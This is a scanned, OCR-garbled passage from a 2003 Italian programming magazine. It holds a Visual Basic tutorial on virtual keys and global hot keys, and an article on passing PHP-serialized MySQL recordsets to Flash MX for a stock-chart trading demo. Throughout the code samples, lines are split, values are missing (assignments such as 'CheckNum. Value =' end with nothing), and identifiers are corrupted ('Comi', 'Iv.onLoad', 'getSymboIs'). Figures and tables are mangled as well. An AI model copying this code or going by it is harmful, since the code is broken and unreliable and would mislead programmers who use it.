Ctrl, Shift e Alt. L'altro tasto, invece, può essere un
qualsiasi tasto tranne Esc, Barra spaziatrice e Tab.
In realtà quando si definiscono le hot key, attraverso
le funzioni dell'API, non si parla di tasti (Key) ma di
tasti virtuali (virtual-key). I virtual-key servono ad
identificare, in modo univoco, i tasti indipendente-
mente dall'Hardware e dal Software. Il set di virtual-
key è composto da 256 codici di un byte. Come per
codice ANSI e ASCII anche per i virtual-key è possi-
bile recuperare su Internet o nella guida in linea di
Visual Basic la tabella che racchiude tutti i codici;
nella tabella 1 riportiamo i codici dei tasti che utiliz-
zeremo nell'esempio. Le hot key possono essere di
due tipi: hot key globali e thread-specific hot key.
Il tipo globale permette di attivare alcune caratteri-
stiche delle Windows, l'altro tipo invece può essere
associato ai thread dell'applicazione.
f
Virtual Key
Esadecimale
Decimale
Tasto
VK_NUMLOCK
90
144
Num Lock
VK_SCROLL
91
145
Scroll Lock
VK_CAPITAL
14
20
Caps Lock
VKA
41
65
A
.Tabella 1 - Alcuni Virtual Key
CONTROLLARE
LO STATO
DELLA TASTIERA
Per familiarizzare con i tasti virtuali creiamo un
semplice programma che permette di stabilire lo
stato dei seguenti tasti: Caps Lock, Scroll Lock, Num
Lock. Per fare questo possiamo utilizzare la funzione
Visual Basic
T CORSI AVANZATI
GetKeyState che ha la seguente sintassi.
Public Declare Function GetKeyState Lib "user32" _
(ByVal nVirtKey As Long) As Integer
Essa mostra lo stato del Virtual Key specificato in
VirtKey, lo stato può essere Up (non premuto), Down
(premuto) e Toggle. Quest'ultimo è usato per stabili-
re lo stato di tasti come Caps Lock, cioè per stabilire
se Caps Lock è attivato o disattivato. Queste infor-
mazioni sono contenute nel bit più alto e più basso
del valore restituito dalla funzione. In particolare il
bit più basso fornisce lo stato Toggle che è utile per il
nostro esempio. Per selezionare questo bit dobbia-
mo utilizzare l'operatore AND, in particolare dob-
biamo fare YAND del valore fornito dalla funzione
con un numero che contiene un 1 nell'ultimo bit
(00000001).
1 « Frmronabilil azione
-|n|x|
|"" Nunn Lock |"" Scroll Lock
|7 Caps Lock
Fig. 1: Il forni che mostra lo stato dei tasti Lock.
Ora vediamo come utilizzare la funzione GetKey-
State. Create un nuovo progetto EXE e sul form inse-
rite un Timer, un frame, e tre CheckBox come in Fig.
1. 1 CheckBox nominateli: CheckNum, CheckScrolle
CheckCaps. Nel form, oltre a dichiarare la funzione
GetKeyState, inserite le seguenti costanti che sono i
codici dei Virtual Key da controllare:
Public
Const VK_
_NUMLOCK
= &H90
Public
Const VK_
_SCROLL =
&H91
Public
Const VK
.CAPITAL =
&H14
Nel Timerl inserite il seguente codice.
Private Sub Timerl_Timer()
Dim key As Integer
key = GetKeyState(VK_NUMLOCK)
If key And 1 Then
CheckNum. Value = 1
Else
CheckNum. Value =
End If
key = GetKeyState(VK_SCROLL)
If key And 1 Then
CheckScroll. Value = 1
Else
CheckScroll. Value =
End If
key = GetKeyState(VK_CAPITAL)
If key And 1 Then
CheckCaps. Value = 1
Else
CheckCaps. Value =
End If
End Sub
Dopo aver avviato la GetKeyState, in base al risultato
di "Key AND 1 " impostiamo il valore dei CheckBox.
Naturalmente prima di avviare progetto dovete
impostare, adeguatamente, il valore della proprietà
Interval del Timer. Un altro esempio interessante
potrebbe essere l'impostazione dello stato dei tasti
da programma, sempre con l'ausilio di funzioni
dell'API. Ora, invece, occupiamoci di come associa-
re una hot key globale al Form.
LE HOT KEY GLOBALI
Prima di descrivere gli elementi dell'API che utilizze-
remo nell'esempio, facciamo alcune precisazioni
sulle hot key globali. Ad una finestra è possibile asso-
ciare una sola hot key globale. Una hot key non può
essere associata a una child Window, come per
esempio nel caso dei children della MDI Form. Se
una finestra ha già associata una hot key, una nuova
hot key sostituirà quella precedente. Quando la stes-
sa hot key è associata a più finestre non è possibile
stabilire quale finestre verrà attivata.
COME IMPOSTARE
LE HOT KEY GLOBALI
Ora descriviamo sommariamente come agiscono le
hot key globali e quali funzioni dobbiamo usare per
gestirle. Come tra poco costateremo alla base del
funzionamento (definizione ed attivazione) delle
hot key ci sono dei messaggi gestiti attraverso la fun-
zione SendMessage. Essa ha la seguente sintassi.
Public Declare Function SendMessage Lib "user32" Alias
"SendMessageA" (ByVal hWnd As Long,
ByVal wMsg As Long, ByVal wParam As Long,
IParam As Long) As Long
SendMessage invia un messaggio ad una window o
ad un insieme di più window ed attende che venga
elaborato. I parametri della funzione sono i seguen-
ti: hWnd cioè l'identificatore della finestra di desti-
nazione; wMsg cioè il messaggio da spedire;
Wparam e Lparam cioè il primo e il secondo para-
metro del messaggio. Quando si deve associare una
hot key globale ad una finestra, identificata attraver-
so hWnd, bisogna inviare un messaggio con wMsg
impostato su WM_SETHOTKEYe specificare la com-
binazione di tasti attraverso il parametro Wparam.
La hot key globale, cosi definita, resta valida fino a
Uisual Basic
t^^B
SUBCLASSING
La tecnica di Callback è
basata sull'utilizzo di
una funzione che come
parametro può
accettare un puntatore
a funzione. Questo
parametro consente il
passaggio di una
funzione da utilizzare
per elaborare i dati
prodotti dalla funzione
chiamante.
La tecnica di
Subclassing usa gli
stessi principi della
tecnica di Callback e
serve per creare degli
strumenti che
permettono di
intercettare gli eventi
di Windows inviati ad
una form o ad un
controllo.
Questi argomenti sono
stati descritti in
precedenti articoli.
CORSI AVANZATI T
I
Visual Basic
GLOSSARIO
WSH
WSH - Windows Script
Host - è presente in
Windows 98 con la ver-
sione 1.0, in Windows
2000 con la versione
2.0 e in Windows XP
con la versione 5.6.
quando l'applicazione che l'ha generata è in esecu-
zione. Ora resta da capire come associare la selezio-
ne della hot key ad un'azione eseguita sulla finestra.
A tal fine dobbiamo usare la funzione DefWindow-
Proc che ha la seguente sintassi.
Public Declare Function DefWindowProc Lib "user32" _
Alias "DefWindowProcA" (ByVal hWnd As Long,
ByVal wMsg As Long, ByVal wParam As Long, _
ByVal IParam As Long) As Long
• hWnd è l'handle alla finestra che riceverà il mes-
saggio.
• uMsg è l'identificatore del tipo di messaggio.
I valori di wParam e LParam dipendono dal messag-
gio. Questa funzione serve per associare dei messag-
gi, alla finestra hWnd, che verranno attivati quando
si clicca la hot key. Questi messaggi possono essere i
seguenti: WM_SHOWWINDOW e WM_ACTIVATE. Il
primo messaggio serve a massimizzare la finestra
quando è minimizzata, il secondo invece serve a
portare la finestra in primo piano. Naturalmente la
finestra riceve i messaggi anche se non è attiva.
In particolare, quando l'utente preme la hot key, il
sistema genera un messaggio WM_SYSCOMMAND
che porta con se valore della hot key e l'handle
della finestra associata, questo viene passato alla
DefWindowProc che lo interpreta e lo esegue. I mes-
saggi per i Thread hot key li descriveremo nel suc-
cessivo appuntamento.
ATTIVARE
UNA FINESTRA
CON UNA HOT KEY
Ora vediamo un esempio in cui ad una finestra ven-
gono associate, a turno, due hot key globali, una che
permette di massimizzare la finestra quando è "iro-
nizzata" (quindi attiva il messaggio WM_SHOW-
WINDOW) e l'altra che permette di portare la fine-
stra in primo piano quando è nascosta (attiva il mes-
saggio WM_ACTrVATE) . Innanzitutto in un modulo
di supporto inseriamo le seguenti costanti e le di-
chiarazioni delle due funzioni descritte in preceden-
za cioè DefWindowProc e SendMessage.
Public
Const WM_
^SETHOTKEY
= &H32
Public
Const WM_
_ACTIVATE =
&H6
Public
Const WM_
_SHOWWINDOW =
&H18
Inoltre definiamo le combinazioni di tasti (Modifier
+ Key) che utilizzeremo come hot key.
'usata per portare la finestra al Top Level.
Mentre, nella Form_Load del form usato per il pre-
cedente esempio, possiamo minimizza il form e pre-
vedere un MsgBox che informa sulle hot key.
Private Sub Form_Load()
MsgBox "con ctrl+shift+A viene mostrato il _
form con ctrl+alt+A si porta in primo piano"
Me.WindowState = vbMinìmized
End Sub
La parte di codice che gestisce le hot key l'inseriamo
nella Form_Resize, dato che la loro definizione
dipende dallo stato del form.
Private Sub Form_Resize()
"Corni e Com2 sono definite fuori della Sub
If Me.WindowState = vbMinimized Then
Comi = SendMessage(Me.hWnd, WM_SETHOTKEY,
HK_CtrlShiftA,
0)
Com2 = DefWindowProc(Me.hWnd,
WM^SHOWWINDOW, 0,
0)
End If
If Me.WindowState = vbNormal Then
Comi = SendMessage(Me.hWnd, WM_SETHOTKEY,
HK_CtrlAltA,
0)
Com2 = DefWindowProc(Me.hWnd, WM_ACTIVATE, 0,
0)
End If
If Comi <> 1 Then
MsgBox "Non è possibile definire la Hotkey", vbOKOnly,
"Error"
End If
End Sub
Le hot key sono definite in base al valore della pro-
prietà WindowState che come è noto permette di
stabilire la stato del form. Notate che se Window-
State = vbMinimized la hot key sarà HK_CtrlShiftA e
il messaggio per la finestra, quando l'utente selezio-
na la hot key, sarà WM_SHOWWINDOW. Vi consi-
gliamo di stare attenti alle API perché molto spesso
bloccano l'ambiente di programmazione, soprattut-
to in fase di debugging, per questo conviene salvare
spesso il progetto ed non usare il Debug quando si
eseguono funzioni di Callback. Dopo aver saggiato
le hot key iniziamo a descrivere gli elementi che uti-
lizzeremo per implementare l'acceleratore di tastie-
ra. Incominciamo dalla libreria COMCTL32 che
come accennato contiene controllo HotKey.
COMCTL32 E IL
CONTROLLO HOTKEY
La libreria comctl32.dll, che fa parte dell'SDK -
Microsoft Windows Software Development Kit -
contiene vari Common Control. Essi sono simili a
Visual Basic
T CORSI AVANZATI
delle finestre Child che, quando si verificano degli
eventi, possono notificare messaggi alle finestre
Parent. Dato che sono finestre, essi possono essere
manipolati attraverso le funzioni del window mana-
gement. Ogni Common Control supporta un insie-
me di messaggi che, appunto, un'applicazione può
utilizzare per gestirli. Naturalmente, questo può
essere fatto solo attraverso alcune funzioni dell'API
come la SendMesssage o la PostMessage. Oltre
all'Hotkey control attraverso la libreria Comctl32 è
possibile creare, senza l'ausilio di Activex, controlli
come: TreeView, ListView, Progress Bar ecc. Per crea-
re questi controlli bisogna impostare opportuna-
mente la funzione, (appartenente all'API) Create-
WindowEx; per esempio nel nostro caso tra i para-
metri bisogna specificare la window class Hotkey_
Class. Anche la CreateWindowEx verrà descritta nel
successivo appuntamento. Nel frattempo potete
farvi un'idea del controllo HotKey verificando il fun-
zionamento dei collegamenti (Link), che i sistemi
operativi Windows permettono di impostare, verso
file o cartelle.
HOTKEY
E COLLEGAMENTI
In Figura 2 è mostrata la maschera di un collega-
mento. In essa, oltre ai vari campi che permettono
d'impostare come e quale file aprire, c'è il campo
Tasti di scelta rapida cioè un HotKey Control. Esso, di
default, è impostato su "nessuno". Se con il mouse si
seleziona il campo e poi si preme qualche tasto della
tastiera, esso automaticamente, oltre al tasto pre-
muto, aggiunge un modificatore. Per esempio se
premete il tasto X nel campo comparirà CTRL+
ALT+X. La Figura 2 mostra un collegamento che per-
mette di attivare la calcolatrice (Calc.EXE). Con esso,
Calc.EXE potrà essere attivato semplicemente clic-
cando CTRL+SHIFT+C. Notate che il titolo della
Generale Collegamento | Compatibilità |
WSH-CreatedShortcut
JLlJSli
Tipo: Applicazione
Percorso: SYSTEM32
Destinazione: [CAWINDOWS\SYSTEM32\CALC.EXE
Da: "C:\Documerfc: snc '; -:':;ings\Litente \Deskto
rapida:
Esegui
1 CTRL + MAH. J5C i-C
Finestra normale
3
Commento: Esempio HotKe^
Trova destinazione... Cambia icona... Avanzate...
Applica
finestra è "WSH-Created Shortcut", dato che il colle-
gamento è stato creato attraverso lo Script di Win-
dows XP {Windows Script Host - WSH) che utilizza
script Java e VB. Esso, naturalmente, gestisce un
modello ad oggetti, noi nell'esempio abbiamo usato
l'oggetto objShellLink che ha la proprietà HotKey.
Per ovvi motivi non riportiamo il codice dell'esem-
pio ma vi assicuriamo che nei successivi appunta-
menti avremo modo di addentrarci in questo inte-
ressante ambiente. In conclusione, presentiamo
l'applicazione acceleratore di tastiera che descrive-
remo nel successivo appuntamento.
* FrmHotkeys |
Fleg UnReg Cerca Applicazione
CTRL + ALT + F3
C:\Prograrnrni\Microsoft Visual StudioWB98WB6.EXE
...| HotKey Applicazione
Ctrl+Alt + FI C: \WI N D WS \N T E PAD . EXE
Ctrl+Alt + F3 C: \Programmi\M icrosoft Visual S tudioW. . .
Fig. 2: La finestra collegamento con un HotKey
Control
Fig. 3: Il Form principale dell'acceleratore di tastiera.
ACCELERATORE
DI TASTIERA
Come accennato, l'acceleratore di tastiera consen-
te di avviare rapidamente le applicazioni presenti
sul computer e consente d'impostare e controllare
dei Thread hot key. Il form principale dell'applica-
zione è mostrato in Fig. 3. Esso presenta un HotKey
control, un ListView, e tre pulsanti che permettono
rispettivamente di creare o cancellare una hot key e
di cercare un'applicazione sul computer. Sulla
ListView sono riportate tutte le hot key registrate
(abilitate e non) .
CONCLUSIONI
In questo appuntamento, oltre a presentare le hot
key globali, abbiamo introdotto diversi argomenti
da approfondire, per esempio il WSH, la creazione di
controlli senza l'ausilio di Activex ecc. Nel successi-
vo appuntamento completeremo il discorso sulle
hot key e parallelamente presenteremo altri concet-
ti su WSH e controlli. Se lo spazio a disposizione lo
consentirà, inoltre, descriveremo altri trick come:
mostrare l'icona dell'applicazione nell'area di notifi-
ca della barra delle applicazioni di Windows e disat-
tivare la combinazione Ctrl+Alt+Canc.
Seguiteci . . .
Massimo Autiero
ADVANCED EDITION T
Interazione tra linguaggi
Dialogo tra tecnologie diverse
Flash MX e PHP
Scopriamo le alternative a Flash Remoting per far comunicare Flash
MX con prodotti open source come php e MySQL: una unione
esplosiva per le nostre applicazioni Web
r \
[JCDQ WEB
Esempio_Flash.zip
■^ '
Per prelevare contenu-
ti da un sito remoto
basta utilizzare la fun-
zione fopen, passando
un uri anziché un
nome di file. Se il con-
tenuto scaricato è
delimitato da un sepa-
ratore php offre la
funzione fgetcsv che
ne permette un parse
con poco sforzo.
I metodi per far comunicare Flash MX con
prodotti open source come PHP e MySQL
sono molteplici, alcuni molto conosciuti e
ben documentati, altri sono forse migliori ma
ancora non del tutto documentati e testati.
Gli oggetti di Flash Mx che permettono di
interagire con un server sono l'oggetto
LoadVars e l'oggetto XML. Vedremo come
usarli e come possiamo trasmettere oggetti
php direttamente a Flash senza componenti
Remoting. Faremo sì che il nostro movie d'e-
sempio sia in grado di scaricare, da un provi-
der scritto in php, un recordset complesso che
rappresenti una serie dati relativa alla quota-
zione di un titolo. Prossimamente vedremo
come trasmettere pacchetti amf che ci per-
metteranno di usare Flash Remoting anche
con php grazie al pacchetto open source
AMFPHP.
COME FLASH MX
DIALOGA CON
UHI SERVER
Ricordiamo gli oggetti principali che mette a
disposizione Flash MX per dialogare con un
server:
Loadvars: oggetto che permette di carica-
re/scaricare (anche in POST) un documento
remoto dinamico (es php, asp, jsp) che resti-
tuisce la risposta sotto forma di stringa chia-
ve/valore.
È possibile usare l'oggetto LoadVars anche
per ottenere informazioni sugli errori e sulle
azioni in corso, e per scaricare dati in strea-
ming. All'oggetto LoadVars si applicano le
stesse restrizioni di sicurezza valide per l'og-
getto XML. L'oggetto LoadVars è supportato
dal Flash Player 6 e versioni successive. Tra i
vantaggi possiamo sicuramente indicare la
semplicità di questa soluzione, mentre come
contropartita abbiamo una maggiore diffi-
coltà nel gestire dati strutturati. Tutto somma-
to, possiamo dire che questa soluzione può
andare bene con strutture dati semplici.
// esempio download dati con LoadVars
server_conn = new LoadVars();
// Metodo chiamato da Flash Player quando i dati
vengono ricevuti
server_conn.onLoad = function ()
{
for (var i in this)
A
// codice che legge l'oggetto this che contiene la
coppia
// chiave - valore di ogni variabile ricevuta dal server
}}
server_conn.load (uri);
Oggetto XML: oggetto che scarica (o spedisce)
un documento remoto valorizzando un ogget-
to xml Flash con i relativi nodi. Un sistema,
questo, che garantisce ordine e precisione
nella definizione dei documenti, oltre alla
possibilità di manipolare strutture dati com-
plesse.
Svantaggi: laborioso da parte nostra nel repe-
rire i nodi. In teoria non si dovrebbero scari-
care più di 64kb anche se funziona con diver-
si mega. Presenta qualche problema di trop-
po: ad esempio, non si possono mettere gli a
capo negli attributi.
<titolo>
<prezzo>valore</prezzoxvolume>testo...</ volume >
</titolo>
doc_xml = new XML ();
// i nodi di testo che contengono solo spazi bianchi
vengono eliminati
doc_xml.ignoreWhite= true;
doc_xml.onLoad = function (success)
{
► 112/ Dicembre 2003
http://www.ioprogrammo.it
Interazione tra linguaggi ■ T ADVANCED EDITION
if (success)
{
// codice che
tramite metod
(firstChild...
DOM
:hildNodes) permette
di
// accedere ai
dati ricevuti da
server
}
}
d
oc_xml.load (u
■I_xml);
Vi sono anche altri sistemi tipo l'azione load-
Variables e l'oggetto XMLSocket ma non sem-
pre risultano utilizzabili. Il fattore comune di
tutti questi sistemi è una discreta laboriosità
per noi programmatori dovuta al fatto che
dobbiamo codificare a "mano" i nostri dati
xml o delimitati da caratteri speciali che
siano. Se ne va tempo di sviluppo e molto
tempo per il debugging. E tutto ciò per scam-
biarsi dei dati che molto spesso sono in un
formato nativo simile fra i vari ambienti, (ser-
ver-actionscript). Ma allora, come possiamo
utilizzare questi oggetti per leggere un ogget-
to php eliminando qualche passaggio e farlo
in modo automatico? Vediamo prima come
creare un oggetto php.
CREARE OGGETTI PHP
Inizialmente, PHP non era un linguaggio
Object Oriented, man mano che si è evoluto
sono state aggiunte delle funzionalità specifi-
che. Nonostante questo, molti continuano a
non considerare PHP un linguaggio orientato
agli oggetti. Per farci un'idea, diamo un'oc-
chiata a come si definisce una classe in PHP:
class NomeClasse
j
var $propl, $propN;
// costruttore
function NomeClasse ($param)
_J
...codice
_}
function metodo ($params)
_i
...codice}
}
// per usare la classe basta istanziarla come qui sotto:
$istanza = new NomeClasse ("param");
Senza scendere nei dettagli di definizione di
sottoclassi, overload di metodi, etc, chiedia-
moci come è possibile rappresentare i nostri
oggetti in modo diverso e di "congelarli"
momentaneamente per salvarli e ripristinarli
in un secondo momento oppure trasmetterli a
Flash. Nel nostro esempio dovremo congelare
un oggetto recordset MySQL.
SALVARE
UHI OGGETTO PHP:
SERIALIZZAZIONE
Serializzare una variabile significa convertirla
in una sequenza lineare di byte, ovvero una
stringa di caratteri ASCII in grado di rappre-
sentarne struttura, metodi e proprietà.
Questo è utile per la "persistenza" dei dati.
Per esempio le sessioni PHP possono salvare
automaticamente e ricodificare gli oggetti sal-
vati. Per farlo, PHP ci mette a disposizione
due funzioni: serializeO e unserialize( ). Si
usano in questo modo:
$encoded = serialize(something);
$something = unserialize(encoded);
La funzione serialize (valore) restituisce una
stringa contenente un flusso di byte rappre-
sentante l'oggetto passato. La stringa potrà
poi essere archiviata ovunque. Questo può
essere utile per salvare o passare valori senza
perdere il tipo e la struttura, si potrebbe anche
salvare una classe in un database.
Per ri-ottenere il valore originale dalla stringa
serializzata, basta utilizzare la funzione
unserialize(oggetto_serializzato).
La funzione serializeO gestisce tutti i tipi di
variabili tranne il tipo resource. Possono esse-
re elaborati da serializeO array che contenga-
no riferimenti a se stessi.
Saranno archiviati anche i riferimenti interni
agli array e ai tipi object passati. Proviamo a
usare la funzione serialize sull'esempio di
oggetto creato precedentemente:
echo serialize($istanza);
Otteniamo questa stringa:
O:10: "nomeclasse" : 2 : {s : 5 :
'propl'
;N
s
5:
"propN'
;N
}
La stringa è la rappresentazione dell'oggetto.
Proviamo un altro esempio, serializzando un
array:
$vettore= array();
$vettore[0] = "la";
$vettore[l] = "divina";
$vettore[2] = "commedia";
Il comando echo serialize ($vettore) produce:
GLOSSARIO
VAR EXPORTO
Un'alternativa alla
funzione serialize di
php è la funzione
var export() che visua-
lizza o restituisce una
variabile in formato
stringa restituendo
informazioni struttu-
rate sulla variabile che
viene passata.
Il comportamento è
simile a var dump()
con la sola differenza
che il valore restituito
è codice PHP.
http://www.ioprogrammo.it
Dicembre 2003/113 ►
ADVANCED EDITION T
Interazione tra linguaggi
GLOSSARIO
WDDX
Un altro modo per
codificare dati
complessi di qualsiasi
tipo è WDDX (Web
Distribuited Data
Exchange -
http://www.openwddx,orq
Tramite questa
specifica è possibile
codificare dati
complessi e variegati,
come array e oggetti,
in formato XML.
a :3 : {i :0;s: 2 :"la";i:l;s: 6: "divina" ;i :2;s:8: "commedia";}
Cerchiamo di capire "l'alfabeto" di questo
sistema di trasformazione: a:3 ci dice che
abbiamo un array lungo 3 elementi; i rappre-
senta l'indice che ci permette di scorre l'array,
quando i vale (Indicato nella stringa con i:0)
abbiamo una stringa lunga due caratteri {s:2) ,
il cui contenuto è "la". Il resto del vettore è
rappresentato con la stessa logica.
Molto interessante. Possiamo rappresentare
quasi qualsiasi oggetto in stringa e flash nix è
in grado di leggere le stringhe passate in
stream da un server. Siamo riusciti ad elimi-
nare un passaggio, quello della costruzione
dell'xml o di una stringa formattata, visto che
PHP lo fa per noi tramite la funzione serialize.
Tutto ciò senza che si verifichi alcuna perdita
di informazioni. Noi proveremo a serializzare
un oggetto recordset mysql che ci verrà ritor-
nato da un metodo della nostra classe php.
L'esempio che svilupperemo, opportunamen-
te adattato ci permetterà di interagire quasi
con ogni altro tipo di recordset.
Adesso abbiamo tutte le informazioni tecni-
che necessarie per costruirci l'esempio, un
movie in grado di leggere dal server una serie
di dati di un titolodo borsa, per poi disegnar-
ne il grafico dell'andamento e di impostare
un trading system. Non ci resta che scrivere
un decodificatore actionscript di oggetti php.
CLIENT
BROWSER
MOVIE FLASH
SERVER
Database
(Mysql)
PHP
SERIALIZER
SPIDER
RETE
Intranet
Web
Services
Socket
Fig. 1: Schema applicazione.
COSTRUIAMO
GLI ATTORI
Il nostro esempio è costruito su queste tecnolo-
gie: PHP come application server, MySQL come
database, Flash MX come client di presentazione
dati. Le entità che compongono l'esempio sono
illustrate in Fig. 1 .
SpiderFeed - Il nostro SpiderFeed è uno spi-
der alimentatore che si occupa di andare sul
Web a raccogliere informazioni per la nostra
applicazione. Lo spider è costruito come uno
script in PHP (volendo si può lanciare diretta-
mente da shell) che si occupa di scaricare dati
(non solo prezzi, ma anche volumi, età.) da
un sito remoto e di alimentare il database con
la serie storica ottenuta.
class SpiderFeed {
var $url, $csv_separator;
function SpiderFeed ($url, $csv_separator) {
$this->url= $url;
$this->csv_separator= $csv_separator;
$this->DBConnection= new DBConnection; }
function fetori ($params, $symbol) {
// codice }
_}
// istanzìamo l'alimentatore specificando alimentatore
e delimitatore di campo
$feeder= new SpiderFeed ("URL", ",");
$feeder->fetch ("documento_dati", "codice_titolo");
Una volta istanziato l'oggetto utilizziamo il
metodo fetch che scarica i dati dalla rete e ali-
menta il db MySQL.
Database - Il database usato è mysql e noi
utilizzeremo solo una tabella con i campi
Data, simbolo del titolo, prezzo di apertura,
prezzo massimo, prezzo minimo, prezzo di
chiusura, volume di titoli scambiati, e prezzo
di chiusura "aggiustato" in caso di split sul
titolo. Allegato alla rivista è incluso uno script
sql che, oltre a creare il database e la struttu-
ra della tabella, prowederà ad inserire delle
serie storiche. Per importare lo script basta
usare bin\mysql oppure phpmyadmin il
comodo tool di amministrazione scaricabile
da sourceforge.net.
L'oggetto PHP che permette di interagire con
il database è costituito dalla classe
DBConnection. Essa ci mette a disposizione il
metodo execute (usato dallo spider per gli
inserimenti), e il metodo getData usato dal
Serializer e che restituisce un recordset in cui
la proprietà di ogni record è il nome del
campo selezionato su db costruito in questo
modo:
function getData ($query) {
$resultset=$this->getResult ($query);
$recordset=Array();
while ($row = mysql_fetch_assoc($resultset)) {
► 114/Dicembre 2003
http://www.ioprogrammo.it
Interazione tra linguaggi ■ T ADVANCED EDITION
array_push ($recordset, $row ); }
mysqLfree_result($resultset);
return $recordset; }
Serializer - Questo componente php si occu-
pa di servire uno stream serializzato: vi è defi-
nita la classe Stocks che contiene tutti i meto-
di che interagendo con il db tramite un'in-
stanza di DBConnection e fornisce a flash le
serie storiche, vediamo come:
class Stock {
// costruttore creazione instanza DBConnection per
interagire con il db
function Stock () {
$this->DBConnection= new DBConnection; }
// metodo che interroga il db chiedendo i simboli
disponibili
function getSymboIs () {
$symbols= $this->DBConnection->getData ("select
distinct Symbol from tbl_stocks ");
return utf8_encode(urlencode(serialize ($symbols)));
}
//... altri metodi }
Il metoto getSymbol esegue una query su
MySQL e ottiene in risposta un recorset. Il
recordset è costituito da un vettore di strin-
ghe rappresentanti i simboli dei titoli presen-
ti nel database. Il metodo ritorna il vettore
codificato tramite la funzione serialize.
La stringa ottenuta viene codificata in forma-
to url-encoded (quello che prevede il %20 al
posto degli spazi per intenderci) e viene poi
protetta tramite la funzione utf8_encode che
ci mette al riparo da problemi originati da
caratteri speciali. Questa funzione infatti
converte la stringa in formato UTF-8 che è il
meccanismo standard utilizzato da Unicode
per la codifica di caratteri particolari. La
stringa così ottenuta viene spedita sullo
stream http verso il client flash. Lo stream
viene servito tramite una semplice istruzione
di output:
echo "data=".$s->getSymbols();
Decoder - Scritto in actionscript, aggiunge la
capacità ad ogni oggetto Flash di poter deco-
dificare un oggetto php.
// aggiungiamo la capacità di decodifica ad ogni Object
Object. prototype.decode_php = function ($fields) {
// istruzioni di decodifica
// ©return oggetto rappresentante il recordset richiesto
}
Per scaricare lo stream serializzato dal server,
dichiariamo un oggetto LoadVars e definiamo
la callback:
lv = new LoadVars ();
// definiamo callback impostando i parametri che ci
interessano
Iv.onLoad = function () {
var flash_object= new Object(unescape(this.data))
.decode_php(["AdjClose", "volume"]);};
// lanciamo la richiesta a php/mysql
Iv.load (uri + "Serializer.php?symb=codice_simbolo");
Nella porzione di codice actionscript, sopra
riportato, la variabile flash_object sarà valo-
rizzata con un vettore associativo lungo n ele-
menti con ogni elemento costituito da due
proprietà: prezzo di chiusura e volume. La
stringa serializzata da php è costituita da
this.data ed è esattamente la variabile servita
dal Serializer. Effettuando un cast verso
Object possiamo applicare il metodo deco-
de_php impostando la lista di parametri che
ci servono. Il decoder è in grado di decodifi-
care stringhe costruite dalla funzione php
serialize del tipo:
a:9:{i:0;a:l:{s:6:"Symbol";s:7:"ABCD.FG";}....
Il metodo fornito nell'esempio allegato alla
rivista è generico per n parametri, per qual-
siasi tipo di recordset per cui può essere ri-
utilizzato su qualsiasi altro progetto in cui sia
utile usarlo.
Trading System - Nel nostro esempio (pura-
mente didattico), considereremo due trading
system calcolando il valore di due indicatori,
l'RSI e l'OBV. Giusto due cenni: l'RSI è un
indicatore di ipercomprato / ipervenduto,
varia fra (solo ribassi, ipervenduto) e 100
(solo rialzi, ipercomprato). Il segnale di
acquisto avviene quando esso vale circa 30.
L'OBV pone in relazione il volume (specchio
dell'interesse sul titolo) al cambiamento dei
prezzi, i suoi movimenti in genere anticipano
i movimenti futuri del prezzo del titolo.
Calcoleremo gli indici seguendo le loro
varianti più semplici. Nei sorgenti allegati alla
rivista sono riportate le formule di calcolo.
Movie Flash - Questo movie tramite il
Decoder riesce a interpretare lo stream offer-
to dal Serializer php. Le prestazioni non sono
niente male considerato che ad ogni analisi il
flusso seguito è questo:
• il movie parte e chiede la lista di titolo
disponibili per l'analisi
SUL WEB
Il web offre diversi
progetti che si
occupano di
serializzare dati
utilizzando php e flash
mx, potete trovare
altri esempi completi
su
http://sourceforge.net/
projects/serializerclass/
con le relative versioni
per il nuovo flash
2004.
http://www.ioprogrammo.it
Dicembre 2003/115 ►
ADVANCED EDITION T
Interazione tra linguaggi
#
php interpreta la richiesta, la passa a
MySQLe ottiene il recorset
php serializza il recordset e lo manda in
risposta a Flash
Flash MX decodifica lo stream serializzato
e sulla base dei dati raccolti disegna il gra-
fico della serie storica relativa all'anda-
mento del titolo e calcola il valori di alcu-
ni indicatori del nostro trading system.
125
Andamento titolo MACR.O
tempo
Demis Magoga (
MACR.O
ricevuti 50 record
Disegna
Start Monitoring
OBV (index)
3.0627
Fig. 2: Trading system all'opera.
Il movie è costituito da un oggetto Line Chart,
un movieclip che fa da semaforo (verde=tito-
lo interessante, rosso=titolo neutro o non
interessante) una combo e qualche pulsante.
Nel primo frame importiamo i file esterni del
decoder e la classe che calcola gli indici del
nostro trading system. Dopo aver istanziato
gli oggetti LoadVars come descritto in prece-
denza scriviamo il codice per disegnare il Vet-
ri D i
■ '?... ■'■
.»...«?... ?!
|1 50 , , 1 200 ,1250, {
.l 4 P°,.,.i.lffiì.i.i.l 5 P i.i.i.l^ i.,.,.l 6 C
100
» 75
■I 25
Line Chart: Sample Data
Category(X)Axis
l'I | D isegna Start Monitoring
*i
lecitemi
^>
Marne | Kind |
■■--: ■■ ,;■ -■
IO col Movie Clip
n
|0 Flash UI Componente Folder
—
gp ComboBox Component
1 i PushEutton Component
g 5crollBar Component
|jf Component Sfcns Folder
01 Core Asseta - Developer Only Polder
FCustomkons Folder
ILJ| semaforo Movie Clip
'
ps ra o s < | |
tore di oggetti decodificati.
var semaforo= new Color (semaforo_mc. colore);
semaforo. setRGB (OxffOOOO); // semaforo rosso
... calcolo degli indici del nostro trading system:
var t= new TSystem (flash_object);
if (t.bull) semaforo. setRGB (OxOOffOO); // semaforo verde
rsi_txt.text=t.out.rsi;
obv_txt.text=(t.out.vol)?(t.out.obv) :("-");
// disegno grafico coefficiente
chart. removeAII();
chart. setChartTitle ("Andamento titolo " +
titolo_analizzato)
for (var i = 0; i< flash_object.length; i++) {
var c=((flash_object[i].AdjClose)-t.min)* (100 /
(t.max-t.min))
chart. addltem({label: "", value: e}); }
Il risultato del movie è quello presente in
Fig. 2
Date
Ooen
High
Lo.
Close
Volume
Close*
21-OCI-03
28.88
2933
28.36
29.03
539,400
29.03
20-Oct-03
28.14
2906
28.40
28.95
369,100
28.95
17-Oct-03
29.20
2920
2B.41
28.55
464,600
28.55
16-Qct-03
28.28
2956
2S.26
29.28
636,200
29.28
15-Qct-03
29.32
29.57
2S.46
28.57
450,800
28.57
14-Qct-03
29.25
29.54
28.55
29.18
538,300
29.18
13-Qct-03
27.69
3000
27.58
29.08
1,340,400
29.08
10-Oct-03
27.86
28.34
27.00
27.49
384,600
27.49
9-Oct-03
27.69
28.55
27.35
27.90
752.300
27.90
8-Oct-03
27.88
27.95
26.97
27.22
657.900
27.22
7-Qct-03
